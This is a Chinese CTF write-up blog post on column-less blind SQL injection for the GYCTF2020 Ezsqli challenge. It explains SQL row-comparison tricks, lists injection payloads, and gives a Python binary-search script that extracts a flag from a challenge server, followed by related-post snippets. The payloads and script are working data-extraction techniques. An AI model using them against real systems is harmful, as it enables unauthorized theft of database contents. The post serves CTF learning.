无列名注入_2 [GYCTF2020]Ezsqli 1
无列名注入_2
在之前,我们使用了select `1` from (select 1,2 union select * from tableX)a这样一个形式来进行无列名注入,原理可以看我之前写的(抄的)一篇https://www.cnblogs.com/AikN/p/15725756.html
在这个形式被过滤了以后,我们还可以使用另一种方式尝试注入。
基本原理
其实也很简单
| sql查询语句 | 返回结果 |
|---|---|
| (select "b") > (select "a") | 1 |
| (select "abce") > (select "abcd") | 1 |
| (select "aacd") > (select "abcd") | 1 |
| (select "a") > (select "baaa") | 1 |
即如果使用sql语句进行大小比较,会逐位比较,出现不一样的字母时即返回结果。
具体使用中,如有下表account
| username | passwd |
|---|---|
| Aiknr | hhhaaa |
| Botm | YouWontKnow! |
我们不知道列名是什么,输入中又过滤了如union的参数,就需要用到这种无列名注入的姿势。
我们只需要逐个位数试就行了
使用payload
(select 1,"a") > (select * from account) -> 0
(select 1,"b") > (select * from account) -> 0
(select 1,"c") > (select * from account) -> 0
...
(select 1,"i") > (select * from account) -> 1
当尝试到“i”的时候,返回正确,因为“i”是第一个超过“h”的字母,即Aiknr账户的密码第一位。这个时候我们就知道了Aiknr账户第一位为“h”
随后,我们把结果拼到payload里,进行下一位的尝试
(select 1,"ha") > (select * from account) -> 0
(select 1,"hb") > (select * from account) -> 0
(select 1,"hc") > (select * from account) -> 0
...
(select 1,"hi") > (select * from account) -> 1
然后,我们就知道密码第二位为"h"了。随后用同样的方法即可以得到全部的密码
这里因为account表有两位,我们想比较的在第二个位置,所以在第二个位置放payload。至于为什么第一个位置放置1,我用题目实验后,发现数字是大于所有字母的,具体可能和php的比较机制有关,不太了解。
题目的脚本借鉴了网上的,发现大伙都是用的遍历,太慢了,还是推荐大家用二分法,平均尝试5-6次就可以得到一位结果。遍历就起飞了,ascii码是几就要遍历几次得到一位。
import requests
url = 'http://3347a09e-7c1e-41c1-b53f-c57dee0bc5c6.node4.buuoj.cn:81/index.php'
MaxLen = 250
flag = ''
for i in range(1,MaxLen):
low = 32
high = 128
mid = (low + high) // 2
while(low < high):
hexchar = flag + chr(mid)
payload = '0^((select 1,"%s")>(select * from f1ag_1s_h3r3_hhhhh))'%(hexchar)
# print(payload)
data = {'id':payload}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if(mid == 32 or mid == 127):
break
flag += chr(mid - 1)
print(flag)
最终得到flag

看着怪怪的,交上去也不对,不知道为啥。反正我应该算是做出来了(orz
无列名注入_2 [GYCTF2020]Ezsqli 1的更多相关文章
- [GYCTF2020]Ezsqli 无列名注入
手工注入了几下,是数字注入,过滤了 or , union 输入1||1=1 回显Nu1L 再输入 1&&(ascii(substr(database(),1,1))>32)# ...
- Sql 中的as是什么意思 + 无列名注入解析
相当于取别名 这里结合一下无列名注入的知识点: 这种方法在第十届SWPUCTF的web1——广告招租里考到了:
- BUUCTF-web web1 (无列名注入)
注册并登录后发现,sql注入,注入点在广告申请的界面.加单引号发现报错 先通过insert插入数据,然后再通过id查询相应的数据,所以是二次注入. 常见报错函数updatexml,floor以及ext ...
- swpuCTF2019 web1 无列名注入
上周参加的swpuctf比赛第一道web题做了好久,在最后一个小时用非预期的方法做出来了,看了官方题解之后记录一下wp里面的无列名注入. 关于无列名注入可以看一下这篇链接 https://www.ch ...
- mysql无列名注入
0x00 原理 mysql无列名注入是报错注入的一个变种,前提是已知表名,但是不知道列名,或者只知道部分列名,可通过报错注入拼接查询自身表,当自表被拼接时,由于存在重复属性列,会将列信息报错返回, ...
- 小议webpack下的AOP式无侵入注入
说起来, 面向切面编程(AOP)自从诞生之日起,一直都是计算机科学领域十分热门的话题,但是很奇怪的是,在前端圈子里,探讨AOP的文章似乎并不是多,而且多数拘泥在给出理论,然后实现个片段的定式)难免陷入 ...
- iBatis查询时报"列名无效"或"找不到栏位名称"无列名的错误原因及解决方法
iBatis会自动缓存每条查询语句的列名映射,对于动态查询字段或分页查询等queryForPage, queryForList,就可能产生"列名无效".rs.getObject(o ...
- [GYCTF2020]Ezsqli-1|SQL注入
1.打开界面之后在输入框进行输入测试,分别输入1.2.3.'等字符,结果如下: 2.看到bool(false)这里我想到了bool注入,因为之前做过这道题:https://www.cnblogs.co ...
- Mysql注入汇总!!!!!!!!!
师傅tpl!!!!! https://xz.aliyun.com/t/7169[对MYSQL注入相关内容及部分Trick的归类小结] https://www.jianshu.com/p/f261125 ...
- BUUCTF[归纳]sql注入相关题目
这是我自己对于sql注入的部分ctf题型的归纳,均来自buuctf的平台环境. [0CTF 2016]piapiapia 我尝试了几种payload,发现有两种情况. 第一种:Invalid user ...
随机推荐
- cmd - windows操作系统命令提示符常用命令
mklink /j C:\Users\lin_0421\Desktop\note D:\note
- 批处理脚本(.bat)实现实时监测文件夹并执行命令 [假设有新文件则拷贝到远程文件夹内]
想到一个情景.程序实时监测文件夹情况,如果有新文件进入,分析其文件名,然后如果满足预设条件,则做相应操作.比如扫描仪扫描了文件,会将新文件保存进特定文件夹内,可以使用该程序来做处理. 在Windows ...
- PowerShell开发小工具 · 四张照片拼成一张
小工具的设计与实现------选四张照片拼成一张照片. 很经典的应用情景,市面上有很多类似的小软件,特别是手机应用.为了方便学习巩固PowerShell,今天笔者使用它来实现. [设计思路] 选择四张 ...
- typora编辑数学公式
最后,需要补充两点: 1.如果要导出为docx,需要安装pandoc https://github.com/jgm/pandoc/releases/tag/3.6.3 2.如果要自己写代码,比如输入\ ...
- docker login harbor http login登录
前言 搭建的 harbor 仓库为 http 协议,在本地登录时出现如下报错: docker login http://192.168.xx.xx Username: admin Password: ...
- 【Guava工具类】Strings&Ints
String相关工具 Strings Guava 提供了一系列用于字符串处理的工具: 对字符串为null或空的处理 nullToEmpty(@Nullable String string):如果非空, ...
- BUUCTF---unencode
1.题目 2.知识 UUENCODE是将二进制文件转换为文本文件的过程,转换后的文件可以通过纯文本e-mail进行传输,在接收方对该文件进行uudecode,即将其转换为初始的二进制文件. 3.解题 ...
- C# 13 中的新增功能实操
前言 今天大姚带领大家一起来看看 C# 13 中的新增几大功能,并了解其功能特性和实际应用场景. 前提准备 要体验 C# 13 新增的功能可以使用最新的 Visual Studio 2022 版本或 ...
- Ink 和 TravisCI 更配哦
前言 去年还是前年,无意间接触到ink,看到是用go写的,非常小巧和精简,于是乎fork了下,还整了个供ink用的docker镜像``. 不过那时候热衷于折腾博客...结果也没折腾出什么来, 今天整理 ...
- useDeferredValue的作用
前言 useDeferredValue是react18新增的一个用于优化性能的一个hook,它的作用是延迟获取一个值,实际开发中的常规用法与我们之前所用的防抖和节流很相似,但是也有一定的区别.本篇文章 ...